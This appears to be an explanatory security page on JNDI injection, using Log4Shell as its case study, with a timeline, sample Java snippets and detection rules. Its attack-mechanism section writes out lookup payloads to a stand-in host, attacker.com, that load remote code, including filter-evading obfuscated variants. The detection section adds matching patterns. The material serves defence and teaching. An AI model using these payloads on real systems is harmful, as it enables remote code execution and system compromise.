JNDI Injection
JNDI (Java Naming and Directory Interface) Injection is a subtechnique of Request Forgery where attackers exploit Java's JNDI feature to force applications into loading malicious code from remote sources. This technique is particularly dangerous because JNDI can reference and load code from various naming services (LDAP, RMI, DNS) and execute it in the application's context. When successful, JNDI injection can lead to remote code execution, data exfiltration, or complete system compromise. The vulnerability is especially critical in enterprise Java applications that process user input in logging statements or configuration parameters.
Examples in the Wild
Notable JNDI Injection Attacks:
Log4Shell (CVE-2021-44228) The Log4Shell vulnerability represents one of the most critical JNDI injection vulnerabilities ever discovered. Affecting Apache Log4j2 (versions 2.0-beta9 through 2.15.0), it allowed attackers to achieve remote code execution through malicious JNDI lookup strings in logged data. The attack affected approximately one-third of the world's web servers and led to widespread exploitation:
- Over 100 million systems potentially vulnerable
- Active exploitation began within hours of disclosure
- Over 4,000 malicious payloads observed in first 24 hours
- Affected major services including Apple iCloud, AWS, Cisco, IBM, Microsoft
- Multiple nation-state APT groups including HAFNIUM and DIVING FOUNTAIN leveraged the vulnerability
Timeline: - November 24, 2021: Vulnerability discovered by Chen Zhaojun of Alibaba - December 9, 2021: Public disclosure and CVE assigned - December 10, 2021: First exploitation attempts detected - December 11-15, 2021: Peak of exploitation activity - Ongoing: Continues to be actively exploited against unpatched systems
Attack Mechanism
Common JNDI Injection Techniques:
-
Basic JNDI Lookup Exploitation
// Malicious JNDI lookup string String payload = "${jndi:ldap://attacker.com/exploit}"; logger.info("User input: " + payload); // On attacker's LDAP server Reference payload = new Reference("ExploitClass", "ExploitClass", "http://attacker.com/");
-
Protocol Variation
// Different JNDI protocols String[] payloads = { "${jndi:rmi://attacker.com/exploit}", "${jndi:dns://attacker.com/exploit}", "${jndi:iiop://attacker.com/exploit}" };
-
Obfuscation Techniques
// Obfuscated JNDI payloads String[] obfuscated = { "${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a}", "${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}ldap://attacker.com/a}", "${${lower:j}ndi:ldap://attacker.com/a}" };
Detection Challenges
Why Traditional Security Tools Fail:
-
Input Vector Diversity
# Multiple injection points input_sources: - http_headers: "User-Agent, X-Forwarded-For" - request_parameters: "username, search" - json_fields: "nested.data.field" # How to monitor all vectors?
-
Obfuscation Complexity
# Obfuscation techniques jndi_patterns: - standard: "${jndi:ldap://...}" - nested: "${${::-j}ndi:...}" - env_vars: "${${env:x:-j}ndi:...}" # How to detect variants?
-
Protocol Handling
# Protocol validation lookup_protocols: - ldap: "common" - rmi: "legacy" - dns: "rare" - iiop: "uncommon" # Which to block?
Required Application Security Strategy:
# JNDI protection rules
- rule: "JNDI Lookup Detection"
condition: |
input.contains_jndi_pattern OR
log.entry_has_lookup OR
request.parameter_suspicious
severity: critical
# Protocol restrictions
- rule: "Protocol Control"
condition: |
jndi.protocol_not_allowed OR
jndi.remote_source_blocked OR
jndi.class_loading_disabled
severity: high
# Runtime protection
- rule: "Runtime Security"
condition: |
runtime.class_loading_suspicious OR
runtime.remote_codebase_accessed OR
runtime.unexpected_dns_query
severity: critical
Key Detection Requirements:
- Input Validation
- Pattern matching
- Protocol restriction
-
Source validation
-
Runtime Monitoring
- Class loading tracking
- DNS query analysis
-
Network connection validation
-
Logging Protection
- Message sanitization
- Lookup restriction
- Pattern detection
References & Resources
Official Sources:
- MITRE ATT&CK T1190 - Exploit Public-Facing Application
- NVD CVE-2021-44228 - Log4Shell
- Apache Log4j Security
Technical Analysis: